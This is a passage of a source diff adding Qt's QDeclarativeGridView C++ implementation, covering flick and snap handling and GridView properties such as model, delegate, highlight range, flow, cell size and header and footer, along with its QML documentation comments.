+ } else if (haveHighlightRange && highlightRange == QDeclarativeGridView::StrictlyEnforceRange) {
+ if (currentItem) {
+ updateHighlight();
+ qreal pos = currentItem->rowPos();
+ if (viewPos < pos + rowSize() - highlightEnd)
+ viewPos = pos + rowSize() - highlightEnd;
+ if (viewPos > pos - highlightStart)
+ viewPos = pos - highlightStart;
+ if (isRightToLeftTopToBottom())
+ viewPos = -viewPos-size();
+ timeline.reset(data.move);
+ if (viewPos != position()) {
+ if (fixupMode != Immediate) {
+ timeline.move(data.move, -viewPos, QEasingCurve(QEasingCurve::InOutQuad), fixupDuration/2);
+ data.fixingUp = true;
+ } else {
+ timeline.set(data.move, -viewPos);
+ }
+ }
+ vTime = timeline.time();
+ }
+ } else {
+ QDeclarativeFlickablePrivate::fixup(data, minExtent, maxExtent);
+ }
+ data.inOvershoot = false;
+ fixupMode = Normal;
+}
+
+void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize,
+ QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity)
+{
+ Q_Q(QDeclarativeGridView);
+ data.fixingUp = false;
+ moveReason = Mouse;
+ if ((!haveHighlightRange || highlightRange != QDeclarativeGridView::StrictlyEnforceRange)
+ && snapMode == QDeclarativeGridView::NoSnap) {
+ QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity);
+ return;
+ }
+ qreal maxDistance = 0;
+ qreal dataValue = isRightToLeftTopToBottom() ? -data.move.value()+size() : data.move.value();
+ // -ve velocity means list is moving up/left
+ if (velocity > 0) {
+ if (data.move.value() < minExtent) {
+ if (snapMode == QDeclarativeGridView::SnapOneRow) {
+ // if we've been dragged < averageSize/2 then bias towards the next item
+ qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset);
+ qreal bias = dist < rowSize()/2 ? rowSize()/2 : 0;
+ if (isRightToLeftTopToBottom())
+ bias = -bias;
+ data.flickTarget = -snapPosAt(-dataValue - bias);
+ maxDistance = qAbs(data.flickTarget - data.move.value());
+ velocity = maxVelocity;
+ } else {
+ maxDistance = qAbs(minExtent - data.move.value());
+ }
+ }
+ if (snapMode == QDeclarativeGridView::NoSnap && highlightRange != QDeclarativeGridView::StrictlyEnforceRange)
+ data.flickTarget = minExtent;
+ } else {
+ if (data.move.value() > maxExtent) {
+ if (snapMode == QDeclarativeGridView::SnapOneRow) {
+ // if we've been dragged < averageSize/2 then bias towards the next item
+ qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset);
+ qreal bias = -dist < rowSize()/2 ? rowSize()/2 : 0;
+ if (isRightToLeftTopToBottom())
+ bias = -bias;
+ data.flickTarget = -snapPosAt(-dataValue + bias);
+ maxDistance = qAbs(data.flickTarget - data.move.value());
+ velocity = -maxVelocity;
+ } else {
+ maxDistance = qAbs(maxExtent - data.move.value());
+ }
+ }
+ if (snapMode == QDeclarativeGridView::NoSnap && highlightRange != QDeclarativeGridView::StrictlyEnforceRange)
+ data.flickTarget = maxExtent;
+ }
+
+ bool overShoot = boundsBehavior == QDeclarativeFlickable::DragAndOvershootBounds;
+
+ if (maxDistance > 0 || overShoot) {
+ // This mode requires the grid to stop exactly on a row boundary.
+ qreal v = velocity;
+ if (maxVelocity != -1 && maxVelocity < qAbs(v)) {
+ if (v < 0)
+ v = -maxVelocity;
+ else
+ v = maxVelocity;
+ }
+ qreal accel = deceleration;
+ qreal v2 = v * v;
+ qreal overshootDist = qreal(0.0);
+ if ((maxDistance > qreal(0.0) && v2 / (2.0f * maxDistance) < accel) || snapMode == QDeclarativeGridView::SnapOneRow) {
+ // + rowSize()/4 to encourage moving at least one item in the flick direction
+ qreal dist = v2 / (accel * qreal(2.0)) + rowSize()/4;
+ dist = qMin(dist, maxDistance);
+ if (v > 0)
+ dist = -dist;
+ if (snapMode != QDeclarativeGridView::SnapOneRow) {
+ qreal distTemp = isRightToLeftTopToBottom() ? -dist : dist;
+ data.flickTarget = -snapPosAt(-dataValue + distTemp);
+ }
+ data.flickTarget = isRightToLeftTopToBottom() ? -data.flickTarget+size() : data.flickTarget;
+ if (overShoot) {
+ if (data.flickTarget >= minExtent) {
+ overshootDist = overShootDistance(vSize);
+ data.flickTarget += overshootDist;
+ } else if (data.flickTarget <= maxExtent) {
+ overshootDist = overShootDistance(vSize);
+ data.flickTarget -= overshootDist;
+ }
+ }
+ qreal adjDist = -data.flickTarget + data.move.value();
+ if (qAbs(adjDist) > qAbs(dist)) {
+ // Prevent painfully slow flicking - adjust velocity to suit flickDeceleration
+ qreal adjv2 = accel * 2.0f * qAbs(adjDist);
+ if (adjv2 > v2) {
+ v2 = adjv2;
+ v = qSqrt(v2);
+ if (dist > 0)
+ v = -v;
+ }
+ }
+ dist = adjDist;
+ accel = v2 / (2.0f * qAbs(dist));
+ } else {
+ data.flickTarget = velocity > 0 ? minExtent : maxExtent;
+ overshootDist = overShoot ? overShootDistance(vSize) : 0;
+ }
+ timeline.reset(data.move);
+ timeline.accel(data.move, v, accel, maxDistance + overshootDist);
+ timeline.callback(QDeclarativeTimeLineCallback(&data.move, fixupCallback, this));
+ if (!hData.flicking && q->xflick()) {
+ hData.flicking = true;
+ emit q->flickingChanged();
+ emit q->flickingHorizontallyChanged();
+ emit q->flickStarted();
+ }
+ if (!vData.flicking && q->yflick()) {
+ vData.flicking = true;
+ emit q->flickingChanged();
+ emit q->flickingVerticallyChanged();
+ emit q->flickStarted();
+ }
+ } else {
+ timeline.reset(data.move);
+ fixup(data, minExtent, maxExtent);
+ }
+}
+
+
+//----------------------------------------------------------------------------
+
+/*!
+ \qmlclass GridView QDeclarativeGridView
+ \since 4.7
+ \ingroup qml-view-elements
+
+ \inherits Flickable
+ \brief The GridView item provides a grid view of items provided by a model.
+
+ A GridView displays data from models created from built-in QML elements like ListModel
+ and XmlListModel, or custom model classes defined in C++ that inherit from
+ QAbstractListModel.
+
+ A GridView has a \l model, which defines the data to be displayed, and
+ a \l delegate, which defines how the data should be displayed. Items in a
+ GridView are laid out horizontally or vertically. Grid views are inherently flickable
+ as GridView inherits from \l Flickable.
+
+ \section1 Example Usage
+
+ The following example shows the definition of a simple list model defined
+ in a file called \c ContactModel.qml:
+
+ \snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0
+
+ \div {class="float-right"}
+ \inlineimage gridview-simple.png
+ \enddiv
+
+ This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules}
+ for more information about creating reusable components like this.
+
+ Another component can display this model data in a GridView, as in the following
+ example, which creates a \c ContactModel component for its model, and a \l Column element
+ (containing \l Image and \l Text elements) for its delegate.
+
+ \clearfloat
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml import
+ \codeline
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple
+
+ \div {class="float-right"}
+ \inlineimage gridview-highlight.png
+ \enddiv
+
+ The view will create a new delegate for each item in the model. Note that the delegate
+ is able to access the model's \c name and \c portrait data directly.
+
+ An improved grid view is shown below. The delegate is visually improved and is moved
+ into a separate \c contactDelegate component.
+
+ \clearfloat
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs advanced
+
+ The currently selected item is highlighted with a blue \l Rectangle using the \l highlight property,
+ and \c focus is set to \c true to enable keyboard navigation for the grid view.
+ The grid view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
+
+ Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+
+ GridView attaches a number of properties to the root item of the delegate, for example
+ \c {GridView.isCurrentItem}. In the following example, the root delegate item can access
+ this attached property directly as \c GridView.isCurrentItem, while the child
+ \c contactInfo object must refer to this property as \c wrapper.GridView.isCurrentItem.
+
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml isCurrentItem
+
+ \note Views do not set the \l{Item::}{clip} property automatically.
+ If the view is not clipped by another item or the screen, it will be necessary
+ to set this property to true in order to clip the items that are partially or
+ fully outside the view.
+
+ \sa {declarative/modelviews/gridview}{GridView example}
+*/
+QDeclarativeGridView::QDeclarativeGridView(QDeclarativeItem *parent)
+ : QDeclarativeFlickable(*(new QDeclarativeGridViewPrivate), parent)
+{
+ Q_D(QDeclarativeGridView);
+ d->init();
+}
+
+QDeclarativeGridView::~QDeclarativeGridView()
+{
+ Q_D(QDeclarativeGridView);
+ d->clear();
+ if (d->ownModel)
+ delete d->model;
+ delete d->header;
+ delete d->footer;
+}
+
+/*!
+ \qmlattachedproperty bool GridView::isCurrentItem
+ This attached property is true if this delegate is the current item; otherwise false.
+
+ It is attached to each instance of the delegate.
+*/
+
+/*!
+ \qmlattachedproperty GridView GridView::view
+ This attached property holds the view that manages this delegate instance.
+
+ It is attached to each instance of the delegate.
+
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml isCurrentItem
+*/
+
+/*!
+ \qmlattachedproperty bool GridView::delayRemove
+ This attached property holds whether the delegate may be destroyed.
+
+ It is attached to each instance of the delegate.
+
+ It is sometimes necessary to delay the destruction of an item
+ until an animation completes.
+
+ The example below ensures that the animation completes before
+ the item is removed from the grid.
+
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml delayRemove
+*/
+
+/*!
+ \qmlattachedsignal GridView::onAdd()
+ This attached handler is called immediately after an item is added to the view.
+*/
+
+/*!
+ \qmlattachedsignal GridView::onRemove()
+ This attached handler is called immediately before an item is removed from the view.
+*/
+
+
+/*!
+ \qmlproperty model GridView::model
+ This property holds the model providing data for the grid.
+
+ The model provides the set of data that is used to create the items
+ in the view. Models can be created directly in QML using \l ListModel, \l XmlListModel
+ or \l VisualItemModel, or provided by C++ model classes. If a C++ model class is
+ used, it must be a subclass of \l QAbstractItemModel or a simple list.
+
+ \sa {qmlmodels}{Data Models}
+*/
+QVariant QDeclarativeGridView::model() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->modelVariant;
+}
+
+// For internal use
+int QDeclarativeGridView::modelCount() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->model->count();
+}
+
+void QDeclarativeGridView::setModel(const QVariant &model)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->modelVariant == model)
+ return;
+ if (d->model) {
+ disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));
+ disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));
+ disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));
+ disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));
+ disconnect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));
+ disconnect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));
+ }
+ d->clear();
+ d->modelVariant = model;
+ QObject *object = qvariant_cast<QObject*>(model);
+ QDeclarativeVisualModel *vim = 0;
+ if (object && (vim = qobject_cast<QDeclarativeVisualModel *>(object))) {
+ if (d->ownModel) {
+ delete d->model;
+ d->ownModel = false;
+ }
+ d->model = vim;
+ } else {
+ if (!d->ownModel) {
+ d->model = new QDeclarativeVisualDataModel(qmlContext(this), this);
+ d->ownModel = true;
+ }
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))
+ dataModel->setModel(model);
+ }
+ if (d->model) {
+ d->bufferMode = QDeclarativeGridViewPrivate::BufferBefore | QDeclarativeGridViewPrivate::BufferAfter;
+ if (isComponentComplete()) {
+ refill();
+ if ((d->currentIndex >= d->model->count() || d->currentIndex < 0) && !d->currentIndexCleared) {
+ setCurrentIndex(0);
+ } else {
+ d->moveReason = QDeclarativeGridViewPrivate::SetIndex;
+ d->updateCurrent(d->currentIndex);
+ if (d->highlight && d->currentItem) {
+ if (d->autoHighlight)
+ d->highlight->setPosition(d->currentItem->colPos(), d->currentItem->rowPos());
+ d->updateTrackedItem();
+ }
+ d->moveReason = QDeclarativeGridViewPrivate::Other;
+ }
+ }
+ connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int)));
+ connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int)));
+ connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int)));
+ connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset()));
+ connect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*)));
+ connect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*)));
+ emit countChanged();
+ }
+ emit modelChanged();
+}
+
+/*!
+ \qmlproperty Component GridView::delegate
+
+ The delegate provides a template defining each item instantiated by the view.
+ The index is exposed as an accessible \c index property. Properties of the
+ model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+
+ The number of elements in the delegate has a direct effect on the
+ flicking performance of the view. If at all possible, place functionality
+ that is not needed for the normal display of the delegate in a \l Loader which
+ can load additional elements when needed.
+
+ The GridView will layout the items based on the size of the root item
+ in the delegate.
+
+ \note Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+*/
+QDeclarativeComponent *QDeclarativeGridView::delegate() const
+{
+ Q_D(const QDeclarativeGridView);
+ if (d->model) {
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model))
+ return dataModel->delegate();
+ }
+
+ return 0;
+}
+
+void QDeclarativeGridView::setDelegate(QDeclarativeComponent *delegate)
+{
+ Q_D(QDeclarativeGridView);
+ if (delegate == this->delegate())
+ return;
+
+ if (!d->ownModel) {
+ d->model = new QDeclarativeVisualDataModel(qmlContext(this));
+ d->ownModel = true;
+ }
+ if (QDeclarativeVisualDataModel *dataModel = qobject_cast<QDeclarativeVisualDataModel*>(d->model)) {
+ int oldCount = dataModel->count();
+ dataModel->setDelegate(delegate);
+ if (isComponentComplete()) {
+ for (int i = 0; i < d->visibleItems.count(); ++i)
+ d->releaseItem(d->visibleItems.at(i));
+ d->visibleItems.clear();
+ d->releaseItem(d->currentItem);
+ d->currentItem = 0;
+ refill();
+ d->moveReason = QDeclarativeGridViewPrivate::SetIndex;
+ d->updateCurrent(d->currentIndex);
+ if (d->highlight && d->currentItem) {
+ if (d->autoHighlight)
+ d->highlight->setPosition(d->currentItem->colPos(), d->currentItem->rowPos());
+ d->updateTrackedItem();
+ }
+ d->moveReason = QDeclarativeGridViewPrivate::Other;
+ }
+ if (oldCount != dataModel->count())
+ emit countChanged();
+ emit delegateChanged();
+ }
+}
+
+/*!
+ \qmlproperty int GridView::currentIndex
+ \qmlproperty Item GridView::currentItem
+
+ The \c currentIndex property holds the index of the current item, and
+ \c currentItem holds the current item. Setting the currentIndex to -1
+ will clear the highlight and set currentItem to null.
+
+ If highlightFollowsCurrentItem is \c true, setting either of these
+ properties will smoothly scroll the GridView so that the current
+ item becomes visible.
+
+ Note that the position of the current item
+ may only be approximate until it becomes visible in the view.
+*/
+int QDeclarativeGridView::currentIndex() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->currentIndex;
+}
+
+void QDeclarativeGridView::setCurrentIndex(int index)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->requestedIndex >= 0) // currently creating item
+ return;
+ d->currentIndexCleared = (index == -1);
+ if (index == d->currentIndex)
+ return;
+ if (isComponentComplete() && d->isValid()) {
+ if (d->layoutScheduled)
+ d->layout();
+ d->moveReason = QDeclarativeGridViewPrivate::SetIndex;
+ d->updateCurrent(index);
+ } else {
+ d->currentIndex = index;
+ emit currentIndexChanged();
+ }
+}
+
+QDeclarativeItem *QDeclarativeGridView::currentItem()
+{
+ Q_D(QDeclarativeGridView);
+ if (!d->currentItem)
+ return 0;
+ return d->currentItem->item;
+}
+
+/*!
+ \qmlproperty Item GridView::highlightItem
+
+ This holds the highlight item created from the \l highlight component.
+
+ The highlightItem is managed by the view unless
+ \l highlightFollowsCurrentItem is set to false.
+
+ \sa highlight, highlightFollowsCurrentItem
+*/
+QDeclarativeItem *QDeclarativeGridView::highlightItem()
+{
+ Q_D(QDeclarativeGridView);
+ if (!d->highlight)
+ return 0;
+ return d->highlight->item;
+}
+
+/*!
+ \qmlproperty int GridView::count
+ This property holds the number of items in the view.
+*/
+int QDeclarativeGridView::count() const
+{
+ Q_D(const QDeclarativeGridView);
+ if (d->model)
+ return d->model->count();
+ return 0;
+}
+
+/*!
+ \qmlproperty Component GridView::highlight
+ This property holds the component to use as the highlight.
+
+ An instance of the highlight component is created for each view.
+ The geometry of the resulting component instance will be managed by the view
+ so as to stay with the current item, unless the highlightFollowsCurrentItem property is false.
+
+ \sa highlightItem, highlightFollowsCurrentItem
+*/
+QDeclarativeComponent *QDeclarativeGridView::highlight() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->highlightComponent;
+}
+
+void QDeclarativeGridView::setHighlight(QDeclarativeComponent *highlight)
+{
+ Q_D(QDeclarativeGridView);
+ if (highlight != d->highlightComponent) {
+ d->highlightComponent = highlight;
+ d->updateCurrent(d->currentIndex);
+ emit highlightChanged();
+ }
+}
+
+/*!
+ \qmlproperty bool GridView::highlightFollowsCurrentItem
+ This property sets whether the highlight is managed by the view.
+
+ If this property is true (the default value), the highlight is moved smoothly
+ to follow the current item. Otherwise, the
+ highlight is not moved by the view, and any movement must be implemented
+ by the highlight.
+
+ Here is a highlight with its motion defined by a \l {SpringAnimation} item:
+
+ \snippet doc/src/snippets/declarative/gridview/gridview.qml highlightFollowsCurrentItem
+*/
+bool QDeclarativeGridView::highlightFollowsCurrentItem() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->autoHighlight;
+}
+
+void QDeclarativeGridView::setHighlightFollowsCurrentItem(bool autoHighlight)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->autoHighlight != autoHighlight) {
+ d->autoHighlight = autoHighlight;
+ if (autoHighlight) {
+ d->updateHighlight();
+ } else if (d->highlightXAnimator) {
+ d->highlightXAnimator->stop();
+ d->highlightYAnimator->stop();
+ }
+ }
+}
+
+/*!
+ \qmlproperty int GridView::highlightMoveDuration
+ This property holds the move animation duration of the highlight delegate.
+
+ highlightFollowsCurrentItem must be true for this property
+ to have effect.
+
+ The default value for the duration is 150ms.
+
+ \sa highlightFollowsCurrentItem
+*/
+int QDeclarativeGridView::highlightMoveDuration() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->highlightMoveDuration;
+}
+
+void QDeclarativeGridView::setHighlightMoveDuration(int duration)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->highlightMoveDuration != duration) {
+ d->highlightMoveDuration = duration;
+ if (d->highlightYAnimator) {
+ d->highlightXAnimator->userDuration = d->highlightMoveDuration;
+ d->highlightYAnimator->userDuration = d->highlightMoveDuration;
+ }
+ emit highlightMoveDurationChanged();
+ }
+}
+
+
+/*!
+ \qmlproperty real GridView::preferredHighlightBegin
+ \qmlproperty real GridView::preferredHighlightEnd
+ \qmlproperty enumeration GridView::highlightRangeMode
+
+ These properties define the preferred range of the highlight (for the current item)
+ within the view. The \c preferredHighlightBegin value must be less than the
+ \c preferredHighlightEnd value.
+
+ These properties affect the position of the current item when the view is scrolled.
+ For example, if the currently selected item should stay in the middle of the
+ view when it is scrolled, set the \c preferredHighlightBegin and
+ \c preferredHighlightEnd values to the top and bottom coordinates of where the middle
+ item would be. If the \c currentItem is changed programmatically, the view will
+ automatically scroll so that the current item is in the middle of the view.
+ Furthermore, the behavior of the current item index will occur whether or not a
+ highlight exists.
+
+ Valid values for \c highlightRangeMode are:
+
+ \list
+ \o GridView.ApplyRange - the view attempts to maintain the highlight within the range.
+ However, the highlight can move outside of the range at the ends of the view or due
+ to mouse interaction.
+ \o GridView.StrictlyEnforceRange - the highlight never moves outside of the range.
+ The current item changes if a keyboard or mouse action would cause the highlight to move
+ outside of the range.
+ \o GridView.NoHighlightRange - this is the default value.
+ \endlist
+*/
+qreal QDeclarativeGridView::preferredHighlightBegin() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->highlightRangeStart;
+}
+
+void QDeclarativeGridView::setPreferredHighlightBegin(qreal start)
+{
+ Q_D(QDeclarativeGridView);
+ d->highlightRangeStartValid = true;
+ if (d->highlightRangeStart == start)
+ return;
+ d->highlightRangeStart = start;
+ d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd;
+ emit preferredHighlightBeginChanged();
+}
+
+void QDeclarativeGridView::resetPreferredHighlightBegin()
+{
+ Q_D(QDeclarativeGridView);
+ d->highlightRangeStartValid = false;
+ if (d->highlightRangeStart == 0)
+ return;
+ d->highlightRangeStart = 0;
+ emit preferredHighlightBeginChanged();
+}
+
+qreal QDeclarativeGridView::preferredHighlightEnd() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->highlightRangeEnd;
+}
+
+void QDeclarativeGridView::setPreferredHighlightEnd(qreal end)
+{
+ Q_D(QDeclarativeGridView);
+ d->highlightRangeEndValid = true;
+ if (d->highlightRangeEnd == end)
+ return;
+ d->highlightRangeEnd = end;
+ d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd;
+ emit preferredHighlightEndChanged();
+}
+
+void QDeclarativeGridView::resetPreferredHighlightEnd()
+{
+ Q_D(QDeclarativeGridView);
+ d->highlightRangeEndValid = false;
+ if (d->highlightRangeEnd == 0)
+ return;
+ d->highlightRangeEnd = 0;
+ emit preferredHighlightEndChanged();
+}
+
+QDeclarativeGridView::HighlightRangeMode QDeclarativeGridView::highlightRangeMode() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->highlightRange;
+}
+
+void QDeclarativeGridView::setHighlightRangeMode(HighlightRangeMode mode)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->highlightRange == mode)
+ return;
+ d->highlightRange = mode;
+ d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd;
+ emit highlightRangeModeChanged();
+}
+
+/*!
+ \qmlproperty enumeration GridView::layoutDirection
+ This property holds the layout direction of the grid.
+
+ Possible values:
+
+ \list
+ \o Qt.LeftToRight (default) - Items will be laid out starting in the top, left corner. The flow is
+ dependent on the \l GridView::flow property.
+ \o Qt.RightToLeft - Items will be laid out starting in the top, right corner. The flow is dependent
+ on the \l GridView::flow property.
+ \endlist
+
+ When using the attached property \l {LayoutMirroring::enabled} for locale layouts,
+ the layout direction of the grid view will be mirrored. However, the actual property
+ \c layoutDirection will remain unchanged. You can use the property
+ \l {LayoutMirroring::enabled} to determine whether the direction has been mirrored.
+
+ \sa {LayoutMirroring}{LayoutMirroring}
+*/
+
+Qt::LayoutDirection QDeclarativeGridView::layoutDirection() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->layoutDirection;
+}
+
+void QDeclarativeGridView::setLayoutDirection(Qt::LayoutDirection layoutDirection)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->layoutDirection != layoutDirection) {
+ d->layoutDirection = layoutDirection;
+ d->regenerate();
+ emit layoutDirectionChanged();
+ }
+}
+
+Qt::LayoutDirection QDeclarativeGridView::effectiveLayoutDirection() const
+{
+ Q_D(const QDeclarativeGridView);
+ if (d->effectiveLayoutMirror)
+ return d->layoutDirection == Qt::RightToLeft ? Qt::LeftToRight : Qt::RightToLeft;
+ else
+ return d->layoutDirection;
+}
+
+/*!
+ \qmlproperty enumeration GridView::flow
+ This property holds the flow of the grid.
+
+ Possible values:
+
+ \list
+ \o GridView.LeftToRight (default) - Items are laid out from left to right, and the view scrolls vertically
+ \o GridView.TopToBottom - Items are laid out from top to bottom, and the view scrolls horizontally
+ \endlist
+*/
+QDeclarativeGridView::Flow QDeclarativeGridView::flow() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->flow;
+}
+
+void QDeclarativeGridView::setFlow(Flow flow)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->flow != flow) {
+ d->flow = flow;
+ if (d->flow == LeftToRight) {
+ setContentWidth(-1);
+ setFlickableDirection(QDeclarativeFlickable::VerticalFlick);
+ } else {
+ setContentHeight(-1);
+ setFlickableDirection(QDeclarativeFlickable::HorizontalFlick);
+ }
+ setContentX(0);
+ setContentY(0);
+ d->regenerate();
+ emit flowChanged();
+ }
+}
+
+/*!
+ \qmlproperty bool GridView::keyNavigationWraps
+ This property holds whether the grid wraps key navigation
+
+ If this is true, key navigation that would move the current item selection
+ past one end of the view instead wraps around and moves the selection to
+ the other end of the view.
+
+ By default, key navigation is not wrapped.
+*/
+bool QDeclarativeGridView::isWrapEnabled() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->wrap;
+}
+
+void QDeclarativeGridView::setWrapEnabled(bool wrap)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->wrap == wrap)
+ return;
+ d->wrap = wrap;
+ emit keyNavigationWrapsChanged();
+}
+
+/*!
+ \qmlproperty int GridView::cacheBuffer
+ This property determines whether delegates are retained outside the
+ visible area of the view.
+
+ If non-zero the view will keep as many delegates
+ instantiated as will fit within the buffer specified. For example,
+ if in a vertical view the delegate is 20 pixels high and \c cacheBuffer is
+ set to 40, then up to 2 delegates above and 2 delegates below the visible
+ area may be retained.
+
+ Note that cacheBuffer is not a pixel buffer - it only maintains additional
+ instantiated delegates.
+
+ Setting this value can make scrolling the list smoother at the expense
+ of additional memory usage. It is not a substitute for creating efficient
+ delegates; the fewer elements in a delegate, the faster a view may be
+ scrolled.
+*/
+int QDeclarativeGridView::cacheBuffer() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->buffer;
+}
+
+void QDeclarativeGridView::setCacheBuffer(int buffer)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->buffer != buffer) {
+ d->buffer = buffer;
+ if (isComponentComplete())
+ refill();
+ emit cacheBufferChanged();
+ }
+}
+
+/*!
+ \qmlproperty int GridView::cellWidth
+ \qmlproperty int GridView::cellHeight
+
+ These properties holds the width and height of each cell in the grid.
+
+ The default cell size is 100x100.
+*/
+int QDeclarativeGridView::cellWidth() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->cellWidth;
+}
+
+void QDeclarativeGridView::setCellWidth(int cellWidth)
+{
+ Q_D(QDeclarativeGridView);
+ if (cellWidth != d->cellWidth && cellWidth > 0) {
+ d->cellWidth = qMax(1, cellWidth);
+ d->updateGrid();
+ emit cellWidthChanged();
+ d->layout();
+ }
+}
+
+int QDeclarativeGridView::cellHeight() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->cellHeight;
+}
+
+void QDeclarativeGridView::setCellHeight(int cellHeight)
+{
+ Q_D(QDeclarativeGridView);
+ if (cellHeight != d->cellHeight && cellHeight > 0) {
+ d->cellHeight = qMax(1, cellHeight);
+ d->updateGrid();
+ emit cellHeightChanged();
+ d->layout();
+ }
+}
+/*!
+ \qmlproperty enumeration GridView::snapMode
+
+ This property determines how the view scrolling will settle following a drag or flick.
+ The possible values are:
+
+ \list
+ \o GridView.NoSnap (default) - the view stops anywhere within the visible area.
+ \o GridView.SnapToRow - the view settles with a row (or column for \c GridView.TopToBottom flow)
+ aligned with the start of the view.
+ \o GridView.SnapOneRow - the view will settle no more than one row (or column for \c GridView.TopToBottom flow)
+ away from the first visible row at the time the mouse button is released.
+ This mode is particularly useful for moving one page at a time.
+ \endlist
+
+*/
+QDeclarativeGridView::SnapMode QDeclarativeGridView::snapMode() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->snapMode;
+}
+
+void QDeclarativeGridView::setSnapMode(SnapMode mode)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->snapMode != mode) {
+ d->snapMode = mode;
+ emit snapModeChanged();
+ }
+}
+
+/*!
+ \qmlproperty Component GridView::footer
+ This property holds the component to use as the footer.
+
+ An instance of the footer component is created for each view. The
+ footer is positioned at the end of the view, after any items.
+
+ \sa header
+*/
+QDeclarativeComponent *QDeclarativeGridView::footer() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->footerComponent;
+}
+
+void QDeclarativeGridView::setFooter(QDeclarativeComponent *footer)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->footerComponent != footer) {
+ if (d->footer) {
+ if (scene())
+ scene()->removeItem(d->footer->item);
+ d->footer->item->deleteLater();
+ delete d->footer;
+ d->footer = 0;
+ }
+ d->footerComponent = footer;
+ if (isComponentComplete()) {
+ d->updateFooter();
+ d->updateGrid();
+ d->fixupPosition();
+ }
+ emit footerChanged();
+ }
+}
+
+/*!
+ \qmlproperty Component GridView::header
+ This property holds the component to use as the header.
+
+ An instance of the header component is created for each view. The
+ header is positioned at the beginning of the view, before any items.
+
+ \sa footer
+*/
+QDeclarativeComponent *QDeclarativeGridView::header() const
+{
+ Q_D(const QDeclarativeGridView);
+ return d->headerComponent;
+}
+
+void QDeclarativeGridView::setHeader(QDeclarativeComponent *header)
+{
+ Q_D(QDeclarativeGridView);
+ if (d->headerComponent != header) {
+ if (d->header) {
+ if (scene())
+ scene()->removeItem(d->header->item);
+ d->header->item->deleteLater();
+ delete d->header;
+ d->header = 0;
+ }
+ d->headerComponent = header;
+ if (isComponentComplete()) {
+ d->updateHeader();
+ d->updateFooter();
+ d->updateGrid();
+ d->fixupPosition();
+ }
+ emit headerChanged();
+ }
+}
+
+void QDeclarativeGridView::setContentX(qreal pos)
+{
+ Q_D(QDeclarativeGridView);
+ // Positioning the view manually should override any current movement state
+ d->moveReason = QDeclarativeGridViewPrivate::Other;
+ QDeclarativeFlickable::setContentX(pos);
+}
+
+void QDeclarativeGridView::setContentY(qreal pos)
+{
+ Q_D(QDeclarativeGridView);
+ // Positioning the view manually should override any current movement state
